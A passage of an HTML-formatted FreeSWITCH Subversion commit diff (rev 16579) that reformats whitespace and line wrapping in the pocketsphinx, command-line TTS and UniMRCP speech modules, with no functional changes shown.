</span><del>-        if (!switch_test_flag(ps, PSFLAG_READY)) {
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Manually Resuming\n");
-                
</del><ins>+        if (!switch_test_flag(ps, PSFLAG_READY)) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Manually Resuming\n");
+
</ins><span class="cx">                 if (ps_start_utt(ps->ps, NULL)) {
</span><span class="cx">                         status = SWITCH_STATUS_GENERR;
</span><span class="cx">                 } else {
</span><del>-                        switch_set_flag(ps, PSFLAG_READY);
</del><ins>+                        switch_set_flag(ps, PSFLAG_READY);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        switch_mutex_unlock(ps->flag_mutex);                
</del><ins>+        switch_mutex_unlock(ps->flag_mutex);
</ins><span class="cx">
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -365,7 +360,7 @@
</span><span class="cx"> /*! function to read results from the ASR*/
</span><span class="cx"> static switch_status_t pocketsphinx_asr_get_results(switch_asr_handle_t *ah, char **xmlstr, switch_asr_flag_t *flags)
</span><span class="cx"> {
</span><del>-        pocketsphinx_t *ps = (pocketsphinx_t *) ah->private_info;
</del><ins>+        pocketsphinx_t *ps = (pocketsphinx_t *) ah->private_info;
</ins><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         int32_t conf;
</span><span class="cx">
</span><span class="lines">@@ -375,7 +370,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (switch_test_flag(ps, PSFLAG_HAS_TEXT)) {
</span><del>-                switch_mutex_lock(ps->flag_mutex);
</del><ins>+                switch_mutex_lock(ps->flag_mutex);
</ins><span class="cx">                 switch_clear_flag(ps, PSFLAG_HAS_TEXT);
</span><span class="cx">                 conf = ps_get_prob(ps->ps, &ps->uttid);
</span><span class="cx">
</span><span class="lines">@@ -386,20 +381,18 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Recognized: %s, Confidence: %d\n", ps->hyp, ps->confidence);
</span><del>-                switch_mutex_unlock(ps->flag_mutex);
</del><ins>+                switch_mutex_unlock(ps->flag_mutex);
</ins><span class="cx">
</span><span class="cx">                 *xmlstr = switch_mprintf("<?xml version=\"1.0\"?>\n"
</span><span class="cx">                                                                  "<result grammar=\"%s\">\n"
</span><span class="cx">                                                                  " <interpretation grammar=\"%s\" confidence=\"%d\">\n"
</span><span class="cx">                                                                  " <input mode=\"speech\">%s</input>\n"
</span><del>-                                                                 " </interpretation>\n"
-                                                                 "</result>\n",
-                                                                 ps->grammar, ps->grammar, ps->confidence, ps->hyp);
</del><ins>+                                                                 " </interpretation>\n" "</result>\n", ps->grammar, ps->grammar, ps->confidence, ps->hyp);
</ins><span class="cx">
</span><span class="cx">                 if (switch_test_flag(ps, SWITCH_ASR_FLAG_AUTO_RESUME)) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Auto Resuming\n");
</span><span class="cx">                         switch_set_flag(ps, PSFLAG_READY);
</span><del>-                
</del><ins>+
</ins><span class="cx">                         ps_start_utt(ps->ps, NULL);
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -467,7 +460,7 @@
</span><span class="cx">                 globals.language_weight = switch_core_strdup(globals.pool, "6.5");
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">         if (xml) {
</span><span class="cx">                 switch_xml_free(xml);
</span><span class="cx">         }
</span><span class="lines">@@ -495,7 +488,7 @@
</span><span class="cx">         switch_asr_interface_t *asr_interface;
</span><span class="cx">
</span><span class="cx">         switch_mutex_init(&MUTEX, SWITCH_MUTEX_NESTED, pool);
</span><del>-        
</del><ins>+
</ins><span class="cx">         globals.pool = pool;
</span><span class="cx">
</span><span class="cx">         if ((switch_event_bind_removable(modname, SWITCH_EVENT_RELOADXML, NULL, event_handler, NULL, &NODE) != SWITCH_STATUS_SUCCESS)) {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodasr_ttsmod_tts_commandlinemod_tts_commandlinec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/asr_tts/mod_tts_commandline/mod_tts_commandline.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/asr_tts/mod_tts_commandline/mod_tts_commandline.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/asr_tts/mod_tts_commandline/mod_tts_commandline.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -76,7 +76,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (zstr(globals.command)) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No command set, please edit %s\n", cf);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No command set, please edit %s\n", cf);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -96,7 +96,7 @@
</span><span class="cx">         switch_uuid_t uuid;
</span><span class="cx">         char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
</span><span class="cx">         char outfile[512] = "";
</span><del>-        
</del><ins>+
</ins><span class="cx">         tts_commandline_t *info = switch_core_alloc(sh->memory_pool, sizeof(*info));
</span><span class="cx">
</span><span class="cx">         info->voice_name = switch_core_strdup(sh->memory_pool, voice_name);
</span><span class="lines">@@ -107,11 +107,11 @@
</span><span class="cx">         switch_uuid_format(uuid_str, &uuid);
</span><span class="cx">         switch_snprintf(outfile, sizeof(outfile), "%s%s.tmp.wav", SWITCH_GLOBAL_dirs.temp_dir, uuid_str);
</span><span class="cx">         info->file = switch_core_strdup(sh->memory_pool, outfile);
</span><del>-        
</del><ins>+
</ins><span class="cx">         info->fh = (switch_file_handle_t *) switch_core_alloc(sh->memory_pool, sizeof(switch_file_handle_t));
</span><del>-        
</del><ins>+
</ins><span class="cx">         sh->private_info = info;
</span><del>-
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -119,7 +119,7 @@
</span><span class="cx"> {
</span><span class="cx">         tts_commandline_t *info = (tts_commandline_t *) sh->private_info;
</span><span class="cx">         assert(info != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -129,37 +129,35 @@
</span><span class="cx">         tts_commandline_t *info = (tts_commandline_t *) sh->private_info;
</span><span class="cx">
</span><span class="cx">         assert(info != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         message = switch_core_strdup(sh->memory_pool, globals.command);
</span><del>-        
</del><ins>+
</ins><span class="cx">         tmp = switch_util_quote_shell_arg(text);
</span><span class="cx">         message = switch_string_replace(message, "${text}", tmp);
</span><del>-        
</del><ins>+
</ins><span class="cx">         tmp = switch_util_quote_shell_arg(info->voice_name);
</span><span class="cx">         message = switch_string_replace(message, "${voice}", tmp);
</span><del>-        
</del><ins>+
</ins><span class="cx">         rate = switch_core_sprintf(sh->memory_pool, "%d", info->rate);
</span><span class="cx">         message = switch_string_replace(message, "${rate}", rate);
</span><del>-        
</del><ins>+
</ins><span class="cx">         tmp = switch_util_quote_shell_arg(info->file);
</span><span class="cx">         message = switch_string_replace(message, "${file}", tmp);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Executing: %s\n", message);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_system(message, SWITCH_TRUE) < 0) {
</span><del>-         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to execute command: %s\n", message);
-         return SWITCH_STATUS_FALSE;
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to execute command: %s\n", message);
+                return SWITCH_STATUS_FALSE;
</ins><span class="cx">         }
</span><span class="cx">
</span><del>-        if (switch_core_file_open(info->fh,
-                                                        info->file,
-                                                        0, //number_of_channels,
-                                                        0, //samples_per_second,
-                                                        SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
-         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open file: %s\n", info->file);
-         return SWITCH_STATUS_FALSE;
</del><ins>+        if (switch_core_file_open(info->fh, info->file, 0,        //number_of_channels,
+                                                         0,        //samples_per_second,
+                                                         SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open file: %s\n", info->file);
+                return SWITCH_STATUS_FALSE;
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         sh->private_info = info;
</span><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -170,8 +168,8 @@
</span><span class="cx">         tts_commandline_t *info = (tts_commandline_t *) sh->private_info;
</span><span class="cx">         size_t my_datalen = *datalen / 2;
</span><span class="cx">
</span><del>-        assert(info != NULL);        
-        
</del><ins>+        assert(info != NULL);
+
</ins><span class="cx">         if (switch_core_file_read(info->fh, data, &my_datalen) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 *datalen = my_datalen * 2;
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -188,7 +186,7 @@
</span><span class="cx"> {
</span><span class="cx">         tts_commandline_t *info = (tts_commandline_t *) sh->private_info;
</span><span class="cx">         assert(info != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_file_close(info->fh);
</span><span class="cx">         if (unlink(info->file) != 0) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Sound file [%s] delete failed\n", info->file);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodasr_ttsmod_unimrcpmod_unimrcpc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/asr_tts/mod_unimrcp/mod_unimrcp.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/asr_tts/mod_unimrcp/mod_unimrcp.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/asr_tts/mod_unimrcp/mod_unimrcp.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -138,7 +138,7 @@
</span><span class="cx">         const char *srgs_mime_type;
</span><span class="cx"> };
</span><span class="cx"> typedef struct profile profile_t;
</span><del>-static switch_status_t profile_create(profile_t **profile, const char *name, switch_memory_pool_t *pool);
</del><ins>+static switch_status_t profile_create(profile_t ** profile, const char *name, switch_memory_pool_t *pool);
</ins><span class="cx">
</span><span class="cx"> /* Profile events that may be monitored. Useful for tracking MRCP profile utilization */
</span><span class="cx"> #define MY_EVENT_PROFILE_CREATE "unimrcp::profile_create"
</span><span class="lines">@@ -149,13 +149,18 @@
</span><span class="cx"> * Defines XML parsing instructions
</span><span class="cx"> */
</span><span class="cx"> static switch_xml_config_item_t instructions[] = {
</span><del>-        SWITCH_CONFIG_ITEM_STRING_STRDUP("max-connection-count", CONFIG_REQUIRED, &globals.unimrcp_max_connection_count, "100", "", "The max MRCPv2 connections to manage"),
</del><ins>+        SWITCH_CONFIG_ITEM_STRING_STRDUP("max-connection-count", CONFIG_REQUIRED, &globals.unimrcp_max_connection_count, "100", "",
+                                                                         "The max MRCPv2 connections to manage"),
</ins><span class="cx">         /* TODO figure out what this param does */
</span><span class="cx">         SWITCH_CONFIG_ITEM_STRING_STRDUP("offer-new-connection", CONFIG_REQUIRED, &globals.unimrcp_offer_new_connection, "1", "", ""),
</span><del>-        SWITCH_CONFIG_ITEM_STRING_STRDUP("default-tts-profile", CONFIG_REQUIRED, &globals.unimrcp_default_synth_profile, "default", "", "The default profile to use for TTS"),
-        SWITCH_CONFIG_ITEM_STRING_STRDUP("default-asr-profile", CONFIG_REQUIRED, &globals.unimrcp_default_recog_profile, "default", "", "The default profile to use for ASR"),
-        SWITCH_CONFIG_ITEM_STRING_STRDUP("log-level", CONFIG_REQUIRED, &globals.unimrcp_log_level, "WARNING", "EMERGENCY|ALERT|CRITICAL|ERROR|WARNING|NOTICE|INFO|DEBUG", "Logging level for UniMRCP"),
-        SWITCH_CONFIG_ITEM_STRING_STRDUP("enable-profile-events", CONFIG_REQUIRED, &globals.enable_profile_events_param, "false", "", "Fire profile events (true|false)"),
</del><ins>+        SWITCH_CONFIG_ITEM_STRING_STRDUP("default-tts-profile", CONFIG_REQUIRED, &globals.unimrcp_default_synth_profile, "default", "",
+                                                                         "The default profile to use for TTS"),
+        SWITCH_CONFIG_ITEM_STRING_STRDUP("default-asr-profile", CONFIG_REQUIRED, &globals.unimrcp_default_recog_profile, "default", "",
+                                                                         "The default profile to use for ASR"),
+        SWITCH_CONFIG_ITEM_STRING_STRDUP("log-level", CONFIG_REQUIRED, &globals.unimrcp_log_level, "WARNING",
+                                                                         "EMERGENCY|ALERT|CRITICAL|ERROR|WARNING|NOTICE|INFO|DEBUG", "Logging level for UniMRCP"),
+        SWITCH_CONFIG_ITEM_STRING_STRDUP("enable-profile-events", CONFIG_REQUIRED, &globals.enable_profile_events_param, "false", "",
+                                                                         "Fire profile events (true|false)"),
</ins><span class="cx">         SWITCH_CONFIG_ITEM_END()
</span><span class="cx"> };
</span><span class="cx">
</span><span class="lines">@@ -243,7 +248,7 @@
</span><span class="cx"> };
</span><span class="cx"> typedef struct audio_queue audio_queue_t;
</span><span class="cx">
</span><del>-static switch_status_t audio_queue_create(audio_queue_t **queue, const char *name, switch_memory_pool_t *pool);
</del><ins>+static switch_status_t audio_queue_create(audio_queue_t ** queue, const char *name, switch_memory_pool_t *pool);
</ins><span class="cx"> static switch_status_t audio_queue_write(audio_queue_t *queue, void *data, switch_size_t *data_len);
</span><span class="cx"> static switch_status_t audio_queue_read(audio_queue_t *queue, void *data, switch_size_t *data_len, int block);
</span><span class="cx"> static switch_status_t audio_queue_clear(audio_queue_t *queue);
</span><span class="lines">@@ -323,11 +328,14 @@
</span><span class="cx">
</span><span class="cx"> /* speech channel interface for UniMRCP */
</span><span class="cx"> static apt_bool_t speech_on_session_terminate(mrcp_application_t *application, mrcp_session_t *session, mrcp_sig_status_code_e status);
</span><del>-static apt_bool_t speech_on_channel_add(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status);
-static apt_bool_t speech_on_channel_remove(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status);
</del><ins>+static apt_bool_t speech_on_channel_add(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel,
+                                                                                mrcp_sig_status_code_e status);
+static apt_bool_t speech_on_channel_remove(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel,
+                                                                                 mrcp_sig_status_code_e status);
</ins><span class="cx">
</span><span class="cx"> /* speech_channel funcs */
</span><del>-static switch_status_t speech_channel_create(speech_channel_t **schannel, const char *name, speech_channel_type_t type, mod_unimrcp_application_t *app, uint16_t rate, switch_memory_pool_t *pool);
</del><ins>+static switch_status_t speech_channel_create(speech_channel_t ** schannel, const char *name, speech_channel_type_t type, mod_unimrcp_application_t *app,
+                                                                                         uint16_t rate, switch_memory_pool_t *pool);
</ins><span class="cx"> static mpf_termination_t *speech_channel_create_mpf_termination(speech_channel_t *schannel);
</span><span class="cx"> static switch_status_t speech_channel_open(speech_channel_t *schannel, profile_t *profile);
</span><span class="cx"> static switch_status_t speech_channel_destroy(speech_channel_t *schannel);
</span><span class="lines">@@ -369,7 +377,8 @@
</span><span class="cx">
</span><span class="cx"> /* synthesizer specific speech_channel funcs */
</span><span class="cx"> static switch_status_t synth_channel_speak(speech_channel_t *schannel, const char *text);
</span><del>-static switch_status_t synth_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr, mrcp_synth_header_t *synth_hdr);
</del><ins>+static switch_status_t synth_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr,
+                                                                                                mrcp_synth_header_t *synth_hdr);
</ins><span class="cx"> static switch_status_t synth_channel_set_header(speech_channel_t *schannel, int id, char *val, mrcp_message_t *msg, mrcp_synth_header_t *synth_hdr);
</span><span class="cx">
</span><span class="cx"> /*********************************************************************************************************************************************
</span><span class="lines">@@ -407,7 +416,7 @@
</span><span class="cx"> };
</span><span class="cx"> typedef struct grammar grammar_t;
</span><span class="cx">
</span><del>-static switch_status_t grammar_create(grammar_t **grammar, const char *name, grammar_type_t type, const char *data, switch_memory_pool_t *pool);
</del><ins>+static switch_status_t grammar_create(grammar_t ** grammar, const char *name, grammar_type_t type, const char *data, switch_memory_pool_t *pool);
</ins><span class="cx"> static const char *grammar_type_to_mime(grammar_type_t type, profile_t *profile);
</span><span class="cx">
</span><span class="cx"> /*********************************************************************************************************************************************
</span><span class="lines">@@ -432,7 +441,7 @@
</span><span class="cx"> typedef struct recognizer_data recognizer_data_t;
</span><span class="cx">
</span><span class="cx"> static switch_status_t recog_load(switch_loadable_module_interface_t *module_interface, switch_memory_pool_t *pool);
</span><del>-static switch_status_t recog_shutdown() ;
</del><ins>+static switch_status_t recog_shutdown();
</ins><span class="cx">
</span><span class="cx"> /* recognizer's interface for FreeSWITCH */
</span><span class="cx"> static switch_status_t recog_asr_open(switch_asr_handle_t *ah, const char *codec, int rate, const char *dest, switch_asr_flag_t *flags);
</span><span class="lines">@@ -466,7 +475,8 @@
</span><span class="cx"> static switch_status_t recog_channel_start_input_timers(speech_channel_t *schannel);
</span><span class="cx"> static switch_status_t recog_channel_set_results(speech_channel_t *schannel, const char *results);
</span><span class="cx"> static switch_status_t recog_channel_get_results(speech_channel_t *schannel, char **results);
</span><del>-static switch_status_t recog_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr, mrcp_recog_header_t *recog_hdr);
</del><ins>+static switch_status_t recog_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr,
+                                                                                                mrcp_recog_header_t *recog_hdr);
</ins><span class="cx"> static switch_status_t recog_channel_set_header(speech_channel_t *schannel, int id, char *val, mrcp_message_t *msg, mrcp_recog_header_t *recog_hdr);
</span><span class="cx"> static switch_status_t recog_channel_set_timers_started(speech_channel_t *schannel);
</span><span class="cx">
</span><span class="lines">@@ -478,13 +488,13 @@
</span><span class="cx"> * @param pool the memory pool to use
</span><span class="cx"> * @return SWITCH_STATUS_SUCCESS if the profile is created
</span><span class="cx"> */
</span><del>-static switch_status_t profile_create(profile_t **profile, const char *name, switch_memory_pool_t *pool)
</del><ins>+static switch_status_t profile_create(profile_t ** profile, const char *name, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         profile_t *lprofile = NULL;
</span><span class="cx">         switch_event_t *event = NULL;
</span><del>-        
-        lprofile = (profile_t *)switch_core_alloc(pool, sizeof(profile_t));
</del><ins>+
+        lprofile = (profile_t *) switch_core_alloc(pool, sizeof(profile_t));
</ins><span class="cx">         if (lprofile) {
</span><span class="cx">                 lprofile->name = switch_core_strdup(pool, name);
</span><span class="cx">                 lprofile->srgs_mime_type = "application/srgs";
</span><span class="lines">@@ -501,7 +511,7 @@
</span><span class="cx">                 *profile = NULL;
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -527,7 +537,7 @@
</span><span class="cx">                 /* is there a match? */
</span><span class="cx">                 result = textlen > matchlen && !strncmp(match, text, matchlen);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return result;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -539,7 +549,7 @@
</span><span class="cx"> * @param pool memory pool to allocate queue from
</span><span class="cx"> * @return SWITCH_STATUS_SUCCESS if successful. SWITCH_STATUS_FALSE if unable to allocate queue
</span><span class="cx"> */
</span><del>-static switch_status_t audio_queue_create(audio_queue_t **audio_queue, const char *name, switch_memory_pool_t *pool)
</del><ins>+static switch_status_t audio_queue_create(audio_queue_t ** audio_queue, const char *name, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         audio_queue_t *laudio_queue = NULL;
</span><span class="lines">@@ -555,7 +565,7 @@
</span><span class="cx">                 lname = switch_core_strdup(pool, name);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if ((laudio_queue = (audio_queue_t *)switch_core_alloc(pool, sizeof(audio_queue_t))) == NULL) {
</del><ins>+        if ((laudio_queue = (audio_queue_t *) switch_core_alloc(pool, sizeof(audio_queue_t))) == NULL) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) unable to create audio queue\n", lname);
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="lines">@@ -580,10 +590,9 @@
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef MOD_UNIMRCP_DEBUG_AUDIO_QUEUE
</span><span class="cx">         flags = SWITCH_FOPEN_CREATE | SWITCH_FOPEN_WRITE | SWITCH_FOPEN_TRUNCATE | SWITCH_FOPEN_BINARY;
</span><del>-        strcpy(laudio_queue->file_read_name, "/tmp/mod_unimrcp_rx_XXXXXX");        
</del><ins>+        strcpy(laudio_queue->file_read_name, "/tmp/mod_unimrcp_rx_XXXXXX");
</ins><span class="cx">         if (switch_file_mktemp(&laudio_queue->file_read, laudio_queue->file_read_name, flags, pool) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) unable to create audio queue read file\n", laudio_queue->name);
</span><span class="cx">                 laudio_queue->file_read = NULL;
</span><span class="lines">@@ -605,7 +614,7 @@
</span><span class="cx">         *audio_queue = laudio_queue;
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) audio queue created\n", laudio_queue->name);
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         if (status != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 audio_queue_destroy(laudio_queue);
</span><span class="lines">@@ -636,7 +645,8 @@
</span><span class="cx">         if (switch_buffer_write(queue->buffer, data, *data_len) > 0) {
</span><span class="cx">                 queue->write_bytes = queue->write_bytes + *data_len;
</span><span class="cx"> #ifdef MOD_UNIMRCP_DEBUG_AUDIO_QUEUE
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) audio queue write total = %ld\trequested = %ld\n", queue->name, queue->write_bytes, *data_len);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) audio queue write total = %ld\trequested = %ld\n", queue->name, queue->write_bytes,
+                                                 *data_len);
</ins><span class="cx"> #endif
</span><span class="cx">                 if (queue->waiting <= switch_buffer_inuse(queue->buffer)) {
</span><span class="cx">                         switch_thread_cond_signal(queue->cond);
</span><span class="lines">@@ -676,7 +686,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 queue->waiting = 0;
</span><span class="cx">         }
</span><del>-                
</del><ins>+
</ins><span class="cx">         if (switch_buffer_inuse(queue->buffer) < requested) {
</span><span class="cx">                 requested = switch_buffer_inuse(queue->buffer);
</span><span class="cx">         }
</span><span class="lines">@@ -690,14 +700,15 @@
</span><span class="cx">         *data_len = switch_buffer_read(queue->buffer, data, requested);
</span><span class="cx">         queue->read_bytes = queue->read_bytes + *data_len;
</span><span class="cx"> #ifdef MOD_UNIMRCP_DEBUG_AUDIO_QUEUE
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) audio queue read total = %ld\tread = %ld\trequested = %ld\n", queue->name, queue->read_bytes, *data_len, requested);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) audio queue read total = %ld\tread = %ld\trequested = %ld\n", queue->name,
+                                         queue->read_bytes, *data_len, requested);
</ins><span class="cx">         switch_size_t len = *data_len;
</span><span class="cx">         if (queue->file_read) {
</span><span class="cx">                 switch_file_write(queue->file_read, data, &len);
</span><span class="cx">         }
</span><span class="cx"> #endif
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         switch_mutex_unlock(queue->mutex);
</span><span class="cx">         return status;
</span><span class="lines">@@ -768,13 +779,14 @@
</span><span class="cx"> * @param pool the memory pool to use
</span><span class="cx"> * @return SWITCH_STATUS_SUCCESS if successful. SWITCH_STATUS_FALSE if the channel cannot be allocated.
</span><span class="cx"> */
</span><del>-static switch_status_t speech_channel_create(speech_channel_t **schannel, const char *name, speech_channel_type_t type, mod_unimrcp_application_t *app, uint16_t rate, switch_memory_pool_t *pool)
</del><ins>+static switch_status_t speech_channel_create(speech_channel_t ** schannel, const char *name, speech_channel_type_t type, mod_unimrcp_application_t *app,
+                                                                                         uint16_t rate, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         speech_channel_t *schan = NULL;
</span><span class="cx">         *schannel = NULL;
</span><span class="cx">
</span><del>-        if ((schan = (speech_channel_t *)switch_core_alloc(pool, sizeof(speech_channel_t))) == NULL) {
</del><ins>+        if ((schan = (speech_channel_t *) switch_core_alloc(pool, sizeof(speech_channel_t))) == NULL) {
</ins><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="lines">@@ -785,10 +797,10 @@
</span><span class="cx">         schan->memory_pool = pool;
</span><span class="cx">         schan->params = NULL;
</span><span class="cx">         schan->rate = rate;
</span><del>-        schan->silence = 0; /* L16 silence sample */
</del><ins>+        schan->silence = 0;                        /* L16 silence sample */
</ins><span class="cx">         schan->channel_opened = 0;
</span><span class="cx">
</span><del>-        if (switch_mutex_init(&schan->mutex, SWITCH_MUTEX_UNNESTED, pool) != SWITCH_STATUS_SUCCESS ||
</del><ins>+        if (switch_mutex_init(&schan->mutex, SWITCH_MUTEX_UNNESTED, pool) != SWITCH_STATUS_SUCCESS ||
</ins><span class="cx">                 switch_thread_cond_create(&schan->cond, pool) != SWITCH_STATUS_SUCCESS ||
</span><span class="cx">                 audio_queue_create(&schan->audio_queue, name, pool) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -803,7 +815,7 @@
</span><span class="cx">         }
</span><span class="cx">         *schannel = schan;
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -820,7 +832,7 @@
</span><span class="cx">         switch_mutex_lock(schannel->mutex);
</span><span class="cx">         if (schannel->state != SPEECH_CHANNEL_CLOSED) {
</span><span class="cx">                 mrcp_application_session_terminate(schannel->unimrcp_session);
</span><del>-                while(schannel->state != SPEECH_CHANNEL_CLOSED) {
</del><ins>+                while (schannel->state != SPEECH_CHANNEL_CLOSED) {
</ins><span class="cx">                         if (switch_thread_cond_timedwait(schannel->cond, schannel->mutex, SPEECH_CHANNEL_TIMEOUT_USEC) == SWITCH_STATUS_TIMEOUT) {
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="lines">@@ -867,7 +879,8 @@
</span><span class="cx">                 sample_rates = MPF_SAMPLE_RATE_8000;
</span><span class="cx">         }
</span><span class="cx">         mpf_codec_capabilities_add(&capabilities->codecs, sample_rates, "LPCM");
</span><del>-        termination = mrcp_application_audio_termination_create(schannel->unimrcp_session, &schannel->application->audio_stream_vtable, capabilities, schannel);
</del><ins>+        termination =
+                mrcp_application_audio_termination_create(schannel->unimrcp_session, &schannel->application->audio_stream_vtable, capabilities, schannel);
</ins><span class="cx">
</span><span class="cx">         return termination;
</span><span class="cx"> }
</span><span class="lines">@@ -876,20 +889,21 @@
</span><span class="cx"> {
</span><span class="cx">         mpf_termination_t *termination = NULL;
</span><span class="cx">         mpf_codec_descriptor_t *codec = NULL;
</span><del>-        codec = (mpf_codec_descriptor_t *)apr_palloc(schannel->unimrcp_session->pool, sizeof(mpf_codec_descriptor_t));
</del><ins>+        codec = (mpf_codec_descriptor_t *) apr_palloc(schannel->unimrcp_session->pool, sizeof(mpf_codec_descriptor_t));
</ins><span class="cx">         mpf_codec_descriptor_init(codec);
</span><span class="cx">         codec->channel_count = 1;
</span><span class="cx">         codec->payload_type = 96;
</span><span class="cx">         codec->sampling_rate = schannel->rate;
</span><del>-        apt_string_set(&codec->name, "LPCM"); /* "LPCM" is UniMRCP's name for L16 host byte ordered */
